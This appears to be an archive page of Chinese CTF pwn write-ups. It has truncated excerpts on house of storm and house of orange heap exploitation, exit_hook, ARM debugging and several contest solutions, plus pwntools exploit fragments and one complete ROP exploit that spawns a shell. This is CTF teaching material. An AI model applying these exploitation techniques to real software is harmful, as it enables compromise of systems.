house of storm加setcontest利用
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101from pwn import*from LibcSearcher import*context.log_level='debug'r=remote('node4.buuoj.cn',25055)libc=ELF('./libc-2.23.so')'''r=process('./rctf_2019_babyheap')libc=ELF('./2.23/libc.so.6')'''def add(size): r.sendlineafter( ...
house of storm
漏洞危害House_of_storm 可以在任意地址写出chunk地址,进而把这个地址的高位当作size,可以进行任意地址分配chunk,也就是可以造成任意地址写的后果,危害十分之大。 House_of_storm 虽然危害之大,但是其条件也是非常的苛刻。
漏洞利用条件
glibc版本小于2.30,因为2.30之后加入了检查
需要攻击者在 large_bin 和 unsorted_bin 中分别布置一个chunk 这两个chunk需要在归位之后处于同一个 largebin 的index中且 unsorted_bin 中的chunk要比 large_bin 中的大
需要 unsorted_bin 中的 bk指针 可控
需要 large_bin 中的 bk指针和bk_nextsize 指针可控
*1*|***1***原理及源码分析
漏洞发生在unsorted_bin的chunk放入largebin的过程中,以下是glibc2.23的源码分析。
1234567891011121314151617181920212223242526272829303132333435363738394041 ...
部分pwn
atoi64ida打开,main函数f5
只有一个输入,只要满足判断条件即可提权
而要满足判断条件很简单(atoi函数可以搜一下),输入501#501#即可(其中#号可以换成其他字符)
boundaryida32打开,分析结果如下:
蛇很简单,撞墙之后会提示try Q;然后再次连接,生成地图后输入q即可提权。(英文看不懂的自己翻译)
白给的random源码
123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657#include<stdio.h>#include<stdlib.h>int main(){ setvbuf(stdin, 0LL, 2, 0LL); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stderr, 0LL, 2, 0LL); int j=0; puts("Please enter your seed."); put ...
arm or mips
arm——gdb调试静态32:1qemu-arm -g 1212 文件名
再另起窗口
123gdb-multiarch #启动gdb-multiarchpwndbg> set arch arm #设置程序架构为arm架构pwndbg> target remote 127.0.0.1:1212 #链接本地qemu的调试端口
dasWP
就出了两道题,hahapwn还是赛后出的,难受
hehepwn思路泄露libc_base + rop
hahapwn这个题非常离谱,禁用了execve,一开始我用本地的libc.so.6能打通本地(并且read、write也能用)然后用它给的libc结果就打不通了,主要是因为他给的libc中的read、write函数不能用,elf文件只有puts能用,不能用sys_write思路是格式化字符串泄露canary + libc + stack,然后,rop进行orw
12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364from pwn import *p = remote("node4.buuoj.cn",25546)libc = ELF("./libc.so.6")#context.log_level = "debug"''& ...
09-13————09-15
羊城杯复现BabyRop有溢出,有system,有/cin/sh(只用sh即可)。
exp:1234567891011from pwn import*context.log_level='debug'r=process('./BabyRop')#r=remote('192.168.40.244',11000)elf=ELF('./BabyRop')gdb.attach(r)p='a'*28+'b'*4+p32(0x80490a4)+p32(1)+p32(0x804C029) #system #shr.sendline(p)r.interactive()
nologinmain函数
主要看sub_400f87这个函数
这里注意v1,然后看sub_40095d函数
看出可以溢出,但只能溢出16个字节。
可以直接改返回地址为read_plt,将内容写到 ...
exit_hook
以前只接触过malloc_hook,free_hook,大概意思就是在调用malloc和free的时候会先看看里面有没有东西,有的话就会执行。以前在看一些师傅们博客的时候有看到过exit_hook,前几天就研究了一下,这篇来做个总结。
首先我们自己写一个程序,调试一下exit是怎么执行的。
12345671 #include<stdio.h>2 3 void main()4 {5 printf("bhxdn\n");6 exit(0);7 }
在第六行下断点看一下。
这里可以看到是执行了__run_exit_handlers。进入这个函数,看看它调用了哪些函数。
这里显示其中调用的一个函数,是_dl_fini。这里为了方便看,我们直接看_dl_fini的关键源码。
123456789101112131415161718 1 #ifdef SHARED 2 int do_audit = 0; 3 again: 4 #endif 5 for (Lmid_t ns = GL ...
08-30————09-05
houseoforange_hitcon_2016house of orange+FSOP伪造file
exp:123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778from pwn import*from LibcSearcher import*context.log_level='debug'r=process('./houseoforange_hitcon_2016')#r=remote('node4.buuoj.cn',28976)elf=ELF('./houseoforange_hitcon_2016')libc=ELF('./2.23/libc.so.6')#libc=ELF('./libc-2.23.so')def a ...
祥云杯复现 pwn
note利用scanf格式化字符串修改top chunk的size,再利用house of orange使堆块进入unsorted bin,泄露libc。
再次利用scanff格式化字符串将malloc_hook改为og(要利用realloc调栈)。
exp:12345678910111213141516171819202122232425262728293031323334353637383940414243444546from pwn import *context.log_level = 'debug'def menu(index): p.sendlineafter('choice: ', str(index))def add(size, content): menu(1) p.sendlineafter('size: ', str(size)) p.sendlineafter('content: ', content)def say(say1, say2): menu(2) p.sendlineaf ...